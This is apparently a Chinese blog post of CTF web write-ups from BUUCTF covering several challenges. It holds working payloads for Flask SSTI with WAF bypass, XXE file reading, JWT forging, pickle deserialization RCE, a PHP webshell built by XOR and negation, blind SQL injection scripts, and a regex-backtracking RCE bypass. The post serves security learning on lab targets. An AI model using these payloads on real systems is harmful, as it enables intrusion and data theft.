[BUUCTF] 集训第六天

[BSidesCF 2019]Futurella

火星文

  • 复制粘贴搜索框就可以获得flag
  • 看源码

轻易得不敢copy flag
在这里插入图片描述

[GYCTF2020]FlaskApp

这里会自动重定向到xss平台,很迷
flask debug可以找到源码

在这里插入图片描述

flasky
尝试ssti模板注入

先重定向 点击返回拿到base64编码去解码 同理点击+返回操作

在这里插入图片描述

在这里插入图片描述
{{7*7}}不可以 {{7+7}}可以 别问为什么 有waf

读app.py

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].open('app.py', 'r').read() }}
{% endif %}
{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py', 'r').read() }}{% endif %}{% endfor %}
@app.route('/decode',methods=['POST','GET'])
def decode():
    if request.values.get('text') :
        text = request.values.get("text")
        text_decode = base64.b64decode(text.encode())
        tmp = "结果 : {0}".format(text_decode.decode())
        if waf(tmp) :
            flash("no no no !!")
            return redirect(url_for('decode'))
Open an interactive python shell in this frame        
​res =  render_template_string(tmp)

在这里插入图片描述

htmldecode工具

from flask import Flask,render_template_string
from flask import render_template,request,flash,redirect,url_for
from flask_wtf import FlaskForm
from wtforms import StringField, SubmitField
from wtforms.validators import DataRequired
from flask_bootstrap import Bootstrap
import base64
 
app = Flask(__name__)
app.config['SECRET_KEY'] = 's_e_c_r_e_t_k_e_y'
bootstrap = Bootstrap(app)
 
class NameForm(FlaskForm):
    text = StringField('BASE64加密',validators= [DataRequired()])
    submit = SubmitField('提交')
class NameForm1(FlaskForm):
    text = StringField('BASE64解密',validators= [DataRequired()])
    submit = SubmitField('提交')
 
def waf(str):
    black_list = ["flag","os","system","popen","import","eval","chr","request",
                  "subprocess","commands","socket","hex","base64","*","?"]
    for x in black_list :
        if x in str.lower() :
            return 1
 
 
@app.route('/hint',methods=['GET'])
def hint():
    txt = "失败乃成功之母!!"
    return render_template("hint.html",txt = txt)
 
 
@app.route('/',methods=['POST','GET'])
def encode():
    if request.values.get('text') :
        text = request.values.get("text")
        text_decode = base64.b64encode(text.encode())
        tmp = "结果  :{0}".format(str(text_decode.decode()))
        res =  render_template_string(tmp)
        flash(tmp)
        return redirect(url_for('encode'))
 
    else :
        text = ""
        form = NameForm(text)
        return render_template("index.html",form = form ,method = "加密" ,img = "flask.png")
 
@app.route('/decode',methods=['POST','GET'])
def decode():
    if request.values.get('text') :
        text = request.values.get("text")
        text_decode = base64.b64decode(text.encode())
        tmp = "结果 : {0}".format(text_decode.decode())
        if waf(tmp) :
            flash("no no no !!")
            return redirect(url_for('decode'))
        res =  render_template_string(tmp)
        flash( res )
        return redirect(url_for('decode'))
 
    else :
        text = ""
        form = NameForm1(text)
        return render_template("index.html",form = form, method = "解密" , img = "flask1.png")
 
 
@app.route('/<name>',methods=['GET'])
def not_found(name):
    return render_template("404.html",name = name)
 
if __name__ == '__main__':
    app.run(host="0.0.0.0", port=5000, debug=True)

waf

def waf(str):
    black_list = ["flag","os","system","popen","import","eval","chr","request",
                  "subprocess","commands","socket","hex","base64","*","?"]
    for x in black_list :
        if x in str.lower() :
            return 1

过滤了* 怪不得
过滤了flag和一些重要函数
利用拼接绕过

os.listdir() 方法用于返回指定的文件夹包含的文件或文件夹的名字的列表

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}
{% endif %}
{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}

在这里插入图片描述
拼接flag 利用open函数读取this_is_the_flag.txt

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read() }}
{% endif %}
{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read() }}{% endif %}{% endfor %

学习:
切片+[::-1]倒置

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}{% endif %}{% endfor %}

[NCTF2019]True XML cookbook

  • XXE外部实体注入
  • 探测内网
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE j1a [
 <!ENTITY exp SYSTEM "file:///etc/passwd">
 ]>
<user><username>&exp;</username><password>123</password></user>

在这里插入图片描述成功xxe

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE j1a [
 <!ENTITY exp SYSTEM "php://filter/read=convert.base64-encode/resource=doLogin.php">
 ]>
<user><username>&exp;</username><password>123</password></user>

在这里插入图片描述

  • 内网存活主机探测

内网探测存活的主机=>获取/etc/hosts文件

在这里插入图片描述无有效信息
获取/proc/net/arp文件

在这里插入图片描述内网存活主机ip=>10.0.158.2

  • 扫c段
    在这里插入图片描述

在这里插入图片描述

## [CISCN2019 华北赛区 Day1 Web2]ikun

要买lv6,这一页没有,下一页也没有,跑脚本吧

标志是lv6.png,因为lv6每一页都会有

import requests

url = "http://06b6c6d8-b926-4e4e-a153-7d40ce739679.node4.buuoj.cn:81/shop?page="

for i in range(2, 200):
    res = requests.get(url+str(i))

    if 'lv6.png' in res.text:
        print(i)
        break

181页
第一个商品就是,buy it
还是买不了,抓包看看,有一个价钱和多出来的" 折扣 ",

  • 改价格
  • 改折扣
    怎么小怎么改,改折扣成功

在这里插入图片描述在这里插入图片描述在这里插入图片描述

只能admin,那看看token,是JWT

知识点:
什么是JWT
COOKIE,SESSION,JWT的区别
工具:

  • 获得信息
  • 破解密钥
  • 修改信息

https://jwt.io/

在这里插入图片描述https://github.com/brendan-rius/c-jwt-cracker
在这里插入图片描述

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo

这里有个严重的逻辑错误,改jwt重放的页面是这个页面,不是购买的页面,它都提示了。。。

在这里插入图片描述
在这里插入图片描述

查看源码:

在这里插入图片描述提示www.zip源码泄露

看看这个模板对应的源码,搜一下This is Black Technology
admin.py
在这里插入图片描述

import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib


class AdminHandler(BaseHandler):
    @tornado.web.authenticated
    def get(self, *args, **kwargs):
        if self.current_user == "admin":
            return self.render('form.html', res='This is Black Technology!', member=0)
        else:
            return self.render('no_ass.html')

    @tornado.web.authenticated
    def post(self, *args, **kwargs):
        try:
            become = self.get_argument('become')
            p = pickle.loads(urllib.unquote(become))
            return self.render('form.html', res=p, member=1)
        except:
            return self.render('form.html', res='This is Black Technology!', member=0)

become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become))

become对应请求头
在这里插入图片描述

  • pickle反序列化

pickle是python语言的一个标准模块,实现了基本的数据序列化和反序列化。
pickle模块是以二进制的形式序列化后保存到文件中(保存文件的后缀
为.pkl),不能直接打开进行预览。

https://blog.csdn.net/u013008795/article/details/89790828
https://zhuanlan.zhihu.com/p/64027434
https://www.jb51.net/article/57661.htm

函数说明
dumps对象反序列化为bytes对象
dump对象反序列化到文件对象,存入文件
loads从bytes对象反序列化
load对象反序列化,从文件中读取数据

二进制流&&文件形式

dump(obj,file,protocol=None,*,fix_imports=True) #将obj对象序列化后写入file中
  • obj:需要序列化的对象
  • file:文件描述符,需要写入的文件描述符
  • protocol:协议 序列化使用的协议。如果该项省略,则默认为0。如果为负值或HIGHEST_PROTOCOL,则使用最高的协议版本
  • fix_imports:
dumps(obj, protocol=None, *, fix_imports=True)->bytes #将obj对象序列化后返回序列化的bytes对象
  • obj:需要序列化的对象
  • protocol:协议
  • fix_imports:
  • bytes:返回值 序列化后的bytes
load(file, *, fix_imports=True, encoding=“ASCII”, errors=“strict”) #从文件中读取内容反序列化。
  • file :文件描述符,序列化后生成的文件。
  • fix_imports:
  • encoding:文件编码,默认为ASCII
  • errors
loads(bytes_object, *, fix_imports=True, encoding=“ASCII”, errors=“strict”)->bytes中反序列化
  • bytes_object:序列化后的bytes对象
  • fix_imports:
  • encoding:编码
  • errors

总:


好好学习:
《python魔术方法指南》

在这里插入图片描述这里利用的是__reduce__
exp.py

import pickle
import urllib

class payload(object):
    def __reduce__(self):
       return (eval, ("open('/flag.txt','r').read()",))

become = pickle.dumps(payload())
become = urllib.quote(a)
print become

urlib.quote
这里是python2语法
在这里插入图片描述
在这里插入图片描述
一键成为大会员

[MRCTF2020]套娃

$query = $_SERVER['QUERY_STRING'];

 if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
    die('Y0u are So cutE!');
}
 if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
    echo "you are going to the next ~";
}
/secrettw.php

在这里插入图片描述看源码

  • jsfuck编码
post me Merak

在这里插入图片描述

  • post传参Merak
<?php 
error_reporting(0); 
include 'takeip.php';
ini_set('open_basedir','.'); 
include 'flag.php';

if(isset($_POST['Merak'])){ 
    highlight_file(__FILE__); 
    die(); 
} 


function change($v){ 
    $v = base64_decode($v); 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) + $i*2 ); 
    } 
    return $re; 
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission!  Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>  
  • 本地
    x-forwarded-for不可以
    client-ip可以
    在这里插入图片描述
  • data伪协议绕过if
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' )
  • re

ord()函数

function change($v){ 
    $v = base64_decode($v); 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) + $i*2 ); 
    } 
    return $re; 
}

加密了,反写一波
逆向逆向==正向

<?php
function rerechange($v){ 
    $rere = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) - $i*2 ); 
    } 
    return base64_encode($rere); 
}

$str="flag.php";
echo rerechange($str);

//ZmpdYSZmXGI=

[极客大挑战 2019]RCE ME

这个过滤好狠

PHP代码执行中出现过滤限制的绕过执行方法

执行函数:

  • eval
  • assert
  • system
  • exec
  • shell_exec
  • passthru
  • preg_replace()+/e
  • create_function()
  • call_user_func_array()
  • call_user_func()
  • array_map()
  • array_filter()

绕过方法:

  • 字符串拼接绕过
  • 字符串转义绕过
  • 多次传参绕过
  • 内置函数访问绕过
  • 异或绕过
  • URL编码取反绕过

1. 异或、取反urlencode编码绕过+蚁剑

异或

${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
// ${_GET}{%ff}();&%ff=phpinfo

取反(下一步好像不能一句话)

C:\Users\Administrator> php -r "echo urlencode(~'phpinfo');"                                      
%8F%97%8F%96%91%99%90
C:\Users\Administrator> 

<?php 
error_reporting(0);

$a='assert';   
$a=urlencode(~$a);
echo $a;

echo "<br>";
$b='(eval($_POST["j1a"]))';
$b=urlencode(~$b);
echo $b;

 ?>

2.通过环境变量LD_PRELOAD+mail劫持so来执行系统命令

antsword jsp环境
永远的痛

https://www.cnblogs.com/yesec/p/12483631.html

[WUSTCTF2020]颜值成绩查询

  • 布尔盲注
/?stunum=1#

2-1
1^1^1
均回显成功,过滤了空格,尝试手工发现式布尔盲注

参考之前的

当时的exp写的二分法比较特殊,这里是正常的写法:

import requests
import time

url = "http://ade85c26-7f56-4212-9d96-d4906f545b19.node4.buuoj.cn:81/?stunum="
res = ''
for i in range(1, 50):
    print(i)
    left = 31
    right = 127
    mid = left + ((right - left) >> 1)
    while left < right:
        #payload = "1^(ascii(substr(database(),{},1))>{})".format(i,mid)
        #payload = "^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='ctf'),{},1))>{})".format(i,mid)
        #payload = "^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)='flag'),{},1))>{})".format(i,mid)
        payload = "^(ascii(substr((select(value)from(flag)),{},1))>{})".format(i, mid)
        r = requests.get(url=url+payload, timeout=3)
        if r.status_code == 429:
            print('too fast')
            time.sleep(1)
        if 'Hi admin, your score is: 100' not in r.text:
            left = mid + 1
        elif 'Hi admin, your score is: 100' in r.text:
            right = mid
        mid = left + ((right-left) >> 1)
    if mid == 31 or mid == 127:
        break
    res += chr(mid)
    print(str(mid), res)

调了好久的payload 我恨啊
timeout根据情况设置

https://blog.csdn.net/SopRomeo/article/details/106148254

这个抽奖不简单

查看源码,有一段js代码

$(document).ready(function(){
    $("#div1").load("check.php #p1");

        $(".close").click(function(){
        		$("#myAlert").hide();
    });	     

    $("#button1").click(function(){
    	$("#myAlert").hide();
    	guess=$("input").val();
		$.ajax({
	   type: "POST",
	   url: "check.php",
	   data: "num="+guess,
		   success: function(msg){
		     $("#div2").append(msg);
		     alertmsg = $("#flag").text(); 
		     if(alertmsg=="没抽中哦,再试试吧"){
		       $("#myAlert").attr("class","alert alert-warning");
		        if($("#new").text()=="")
		     	$("#new").append(alertmsg);
		     }
		     else{		     	
		     	$("#myAlert").attr("class","alert alert-success");
		     	if($("#new").text()=="")	
		     	$("#new").append(alertmsg);	
		     }

		 
		   }
		}); 
		$("#myAlert").show();
		$("#new").empty();
		$("#div2").empty();
	});
});

看看check.php

 <?php
#这不是抽奖程序的源代码!不许看!
header("Content-Type: text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}

mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
    $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);       
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";


if(isset($_POST['num'])){
    if($_POST['num']===$str){x
        echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>";
    }
    else{
        echo "<p id=flag>没抽中哦,再试试吧</p>";
    }
}
show_source("check.php"); 
  • php伪随机性

如果mt_srand使用同一个seed,生成的随机数是可以爆破出seed的
原理:mt_scrand(seed)函数通过分发seed种子,然后种子有了后,靠mt_rand()生成随机数。
工具https://www.openwall.com/php_mt_seed/

mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
    $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);       
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";

生成随机数正逻辑

根据给出的随机数的一个part逆向出

用工具爆破出seed

正逻辑生成完整的随机数

67324128

[FBCTF2019]RCEService

离fastjson-rce更近了一步

  • jason格式写rce-payload
?cmd={"cmd":"ls"}

根据网传源码过滤了很多函数
preg_match()函数只能匹配第一行数据,可以使用换行符%0a绕过尝试对应的换行截断

?cmd={%0A"cmd":"/bin/cat /home/rceservice/flag"%0A}

为什么是这个目录呢?

网传源码:

<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
  $json = $_REQUEST['cmd'];

  if (!is_string($json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } else {
    echo 'Attempting to run command:<br/>';
    $cmd = json_decode($json, true)['cmd'];
    if ($cmd !== NULL) {
      system($cmd);
    } else {
      echo 'Invalid input';
    }
    echo '<br/><br/>';
  }
}
?>

学习:
https://xz.aliyun.com/t/5399

import requests

payload = '{"cmd":"/bin/cat /home/rceservice/flag","test":"' + "a"*(1000000) + '"}'
res = requests.post("http://8389c34b-492e-4bf1-b4e3-8974b7d57476.node4.buuoj.cn:81/", data={"cmd":payload})
#print(payload)
print(res.text)

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值